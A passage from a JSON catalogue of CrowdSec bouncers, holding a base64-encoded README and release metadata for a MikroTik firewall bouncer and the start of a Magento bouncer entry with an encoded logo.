mVwb3J0L2dpdGh1Yi5jb20vZnVua29sYWIvY3MtbWlrcm90aWstYm91bmNlcikKWyFbTWFpbnRhaW5hYmlsaXR5XShodHRwczovL2FwaS5jb2RlY2xpbWF0ZS5jb20vdjEvYmFkZ2VzLzAxMDRlNjRkY2NmZmM0YjQyZjUyL21haW50YWluYWJpbGl0eSldKGh0dHBzOi8vY29kZWNsaW1hdGUuY29tL2dpdGh1Yi9mdW5rb2xhYi9jcy1taWtyb3Rpay1ib3VuY2VyL21haW50YWluYWJpbGl0eSkKWyFbY2ldKGh0dHBzOi8vZ2l0aHViLmNvbS9mdW5rb2xhYi9jcy1taWtyb3Rpay1ib3VuY2VyL2FjdGlvbnMvd29ya2Zsb3dzL2NvbnRhaW5lci1yZWxlYXNlLnlhbWwvYmFkZ2Uuc3ZnKV0oaHR0cHM6Ly9naXRodWIuY29tL2Z1bmtvbGFiL2NzLW1pa3JvdGlrLWJvdW5jZXIvYWN0aW9ucy93b3JrZmxvd3MvY29udGFpbmVyLXJlbGVhc2UueWFtbCkKIVtHaXRIdWIgdGFnIChsYXRlc3QgU2VtVmVyKV0oaHR0cHM6Ly9pbWcuc2hpZWxkcy5pby9naXRodWIvdi90YWcvZnVua29sYWIvY3MtbWlrcm90aWstYm91bmNlcikKIVtEb2NrZXIgSW1hZ2UgU2l6ZSAobGF0ZXN0IHNlbXZlcildKGh0dHBzOi8vaW1nLnNoaWVsZHMuaW8vZG9ja2VyL2ltYWdlLXNpemUvZnVua29sYWIvY3MtbWlrcm90aWstYm91bmNlcikKCiMgRGVzY3JpcHRpb24KVGhpcyByZXBvc2l0b3J5IGFpbSB0byBpbXBsZW1lbnQgYSBbQ3Jvd2RTZWNdKGh0dHBzOi8vZG9jLmNyb3dkc2VjLm5ldC8pIGJvdW5jZXIgZm9yIHRoZSByb3V0ZXIgW01pa3JvdGlrXShodHRwczovL21pa3JvdGlrLmNvbSkgdG8gYmxvY2sgbWFsaWNpb3VzIElQIHRvIGFjY2VzcyB5b3VyIHNlcnZpY2VzLgpGb3IgdGhpcyBpdCBsZXZlcmFnZXMgW01pa3JvdGlrIEFQSV0oaHR0cHM6Ly9taWtyb3Rpay5jb20pIHRvIHBvcHVsYXRlIGEgZHluYW1pYyBGaXJld2FsbCBBZGRyZXNzIExpc3QuCgoKIyBVc2FnZQpGb3Igbm93LCB0aGlzIHdlYiBzZXJ2aWNlIGlzIG1haW5seSBmb3VnaHQgdG8gYmUgdXNlZCBhcyBhIGNvbnRhaW5lci4gICAKSWYgeW91IG5lZWQgdG8gYnVpbGQgZnJvbSBzb3VyY2UsIHlvdSBjYW4gZ2V0IHNvbWUgaW5zcGlyYXRpb24gZnJvbSB0aGUgRG9ja2VyZmlsZS4KCgojIyBQcmVyZXF1aXNpdGVzCllvdSBzaG91bGQgaGF2ZSBhIE1pa3JvdGlrIGFwcGxpYW5jZSBhbmQgYSBDcm93ZFNlYyBpbnN0YW5jZSBydW5uaW5nLiAgIApUaGUgY29udGFpbmVyIGlzIGF2YWlsYWJsZSBhcyBkb2NrZXIgaW1hZ2UgYGdoY3IuaW8vZnVua29sYWIvY3MtbWlrcm90aWstYm91bmNlcmAgYW5kIGBmdW5rb2xhYi9jcy1taWtyb3Rpay1ib3VuY2VyYC4gSXQgbXVzdCBoYXZlIGFjY2VzcyB0byBDcm93ZFNlYyBhbmQgdG8gTWlrcm90aWsuICAgCgpHZW5lcmF0ZSBhIGJvdW5jZXIgQVBJIGtleSBmb2xsb3dpbmcgW0Nyb3dkU2VjIGRvY3VtZW50YXRpb25dKGh0dHBzOi8vZG9jLmNyb3dkc2VjLm5ldC9kb2NzL2NzY2xpL2NzY2xpX2JvdW5jZXJzX2FkZCkKCiMjIFByb2NlZHVyZQoxLiBHZXQgYSBib3VuY2VyIEFQSSBrZXkgZnJvbSB5b3VyIENyb3dkU2VjIHdpdGggY29tbWFuZCBgY3NjbGkgYm91bmNlcnMgYWRkIG1pa3JvdGlrLWJvdW5jZXJgCjIuIENvcHkgdGhlIEFQSSBrZXkgcHJpbnRlZC4gWW91ICoqX1dPTidUXyoqIGJlIGFibGUgdGhlIGdldCBpdCBhZ2Fpbi4KMy4gUGFzdGUgdGhpcyBBUEkga2V5IGFzIHRoZSB2YWx1ZSBmb3IgYm91bmNlciBlbnZpcm9ubWVudCB2YXJpYWJsZSBgQ1JPV0RTRUNfQk9VTkNFUl9BUElfS0VZYCwgaW5zdGVhZCBvZiAiTXlBcGlLZXkiCjQuIFN0YXJ0IGJvdW5jZXIgd2l0aCBgZG9ja2VyLWNvbXBvc2UgdXAgYm91bmNlcmAgaW4gdGhlIGBleGFtcGxlYCBkaXJlY3RvcnkKNS4gQ3JlYXRlIGBJUCBkcm9wIEZpbHRlciBSdWxlc2AgaW4gYGlucHV0YCBhbmQgYGZvcndhcmRgIENoYWluIHdpdGggdGhlIGBjcm93ZHNlYyBTb3VyY2UgQWRkcmVzcyBMaXN0YAo2LiBDcmVhdGUgYElQdjYgZHJvcCBGaWx0ZXIgUnVsZXNgIGluIGBpbnB1dGAgYW5kIGBmb3J3YXJkYCBDaGFpbiB3aXRoIHRoZSBgY3Jvd2RzZWMgU291cmNlIEFkZHJlc3MgTGlzdGAgKGlmIElQdjYgdXNlZCkKCmBgYHNoZWxsCi9pcC9maXJld2FsbC9maWx0ZXIvCmFkZCBhY3Rpb249ZHJvcCBzcmMtYWRkcmVzcy1saXN0PWNyb3dkc2VjIGNoYWluPWlucHV0ICBpbi1pbnRlcmZhY2U9eW91ci13YW4taW50ZXJmYWNlIHBsYWNlLWJlZm9yZT0wIGNvbW1lbnQ9ImNyb3dkc2VjIGlucHV0IGRyb3AgcnVsZXMiCmFkZCBhY3Rpb249ZHJvcCBzcmMtYWRkcmVzcy1saXN0PWNyb3dkc2VjIGNoYWluPWZvcndhcmQgaW4taW50ZXJmYWNlPXlvdXItd2FuLWludGVyZmFjZSBwbGFjZS1iZWZvcmU9MCBjb21tZW50PSJjcm93ZHNlYyBmb3J3YXJkIGRyb3AgcnVsZXMiCgovaXB2Ni9maXJld2FsbC9maWx0ZXIvCmFkZCBhY3Rpb249ZHJvcCBzcmMtYWRkcmVzcy1saXN0PWNyb3dkc2VjIGNoYWluPWlucHV0ICBpbi1pbnRlcmZhY2U9eW91ci13YW4taW50ZXJmYWNlIHBsYWNlLWJlZm9yZT0wIGNvbW1lbnQ9ImNyb3dkc2VjIGlucHV0IGRyb3AgcnVsZXMiCmFkZCBhY3Rpb249ZHJvcCBzcmMtYWRkcmVzcy1saXN0PWNyb3dkc2VjIGNoYWluPWZvcndhcmQgaW4taW50ZXJmYWNlPXlvdXItd2FuLWludGVyZmFjZSBwbGFjZS1iZWZvcmU9MCBjb21tZW50PSJjcm93ZHNlYyBmb3J3YXJkIGRyb3AgcnVsZXMiCmBgYAoKIyMgQ29uZmlndXJhdGlvbgpUaGUgYm91bmNlciBjb25maWd1cmF0aW9uIGlzIG1hZGUgdmlhIGVudmlyb25tZW50IHZhcmlhYmxlczoKCnwgTmFtZSAgICAgICAgICAgICAgICAgICAgICAgfCBEZXNjcmlwdGlvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfCBEZWZhdWx0ICAgICAgICAgICAgICAgICB8IFJlcXVpcmVkIHwKfC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS18LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS18LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLXw6LS0tLS0tLS06fAp8IGBDUk9XRFNFQ19CT1VOQ0VSX0FQSV9LRVlgIHwgQ3Jvd2RTZWMgYm91bmNlciBBUEkga2V5IHJlcXVpcmVkIHRvIGJlIGF1dGhvcml6ZWQgdG8gcmVxdWVzdCBsb2NhbCBBUEkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwgYG5vbmVgICAgICAgICAgICAgICAgICAgfCAgICDinIUgICAgIHwKfCBgQ1JPV0RTRUNfVVJMYCAgICAgICAgICAgICB8IEhvc3QgYW5kIHBvcnQgb2YgQ3Jvd2RTZWMgYWdlbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB8IGBodHRwOi8vY3Jvd2RzZWM6ODA4MC9gIHwgICAg4pyFICAgICB8CnwgYExPR19MRVZFTGAgICAgICAgICAgICAgICAgfCBNaW5pbXVtIGxvZyBsZXZlbCBmb3IgYm91bmNlciBpbiBbemVyb2xvZyBsZXZlbHNdKGh0dHBzOi8vcGtnLmdvLmRldi9naXRodWIuY29tL3JzL3plcm9sb2cjcmVhZG1lLWxldmVsZWQtbG9nZ2luZykgfCBgMWAgICAgICAgICAgICAgICAgICAgICB8ICAgIOKdjCAgICAgfAp8IGBNSUtST1RJS19IT1NUYCAgICAgICAgICAgIHwgTWlrcm90aWsgYXBwbGlhbmNlIGFkZHJlc3MgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwgYG5vbmVgICAgICAgICAgICAgICAgICAgfCAgICDinIUgICAgIHwKfCBgTUlLUk9USUtfVVNFUmAgICAgICAgICAgICB8IE1pa3JvdGlrIGFwcGxpYW5jZSB1c2VybmFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB8IGBub25lYCAgICAgICAgICAgICAgICAgIHwgICAg4pyFICAgICB8CnwgYE1JS1JPVElLX1BBU1NgICAgICAgICAgICAgfCBNaWtyb3RpayBhcHBsaWFuY2UgcGFzc3dvcmQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfCBgbm9uZWAgICAgICAgICAgICAgICAgICB8ICAgIOKchSAgICAgfAp8IGBNSUtST1RJS19UTFNgICAgICAgICAgICAgIHwgVXNlciBUTFMgdG8gY29ubmVjdCB0byBNaWtyb3RpayBBUEkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwgYHRydWVgICAgICAgICAgICAgICAgICAgfCAgICDinYwgICAgIHwKfCBgTUlLUk9USUtfSVBWNmAgICAgICAgICAgICB8IEVuYWJsZSAvIERpc2FibGUgSVB2NiBzdXBwb3J0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB8IGB0cnVlYCAgICAgICAgICAgICAgICAgIHwgICAg4p2MICAgICB8CgoKCiMgQ29udHJpYnV0aW9uCkFueSBjb25zdHJ1Y3RpdmUgZmVlZGJhY2sgaXMgd2VsY29tZSwgZmlsbCBmcmVlIHRvIGFkZCBhbiBpc3N1ZSBvciBhIHB1bGwgcmVxdWVzdC4gSSB3aWxsIHJldmlldyBpdCBhbmQgaW50ZWdyYXRlIGl0IHRvIHRoZSBjb2RlLgo=", "status": "stable", "version": "v0.3.0", "assets": [ { "name": "Tarball (source code)", "download_url": "https://api.github.com/repos/funkolab/cs-mikrotik-bouncer/tarball/v0.3.0", "asset_url": "https://api.github.com/repos/funkolab/cs-mikrotik-bouncer/tarball/v0.3.0" }, { "name": "Zipball (source code)", "download_url": "https://api.github.com/repos/funkolab/cs-mikrotik-bouncer/zipball/v0.3.0", "asset_url": "https://api.github.com/repos/funkolab/cs-mikrotik-bouncer/zipball/v0.3.0" } ] }, { "name": "cs-magento-bouncer", "author": "crowdsecurity", "logo": "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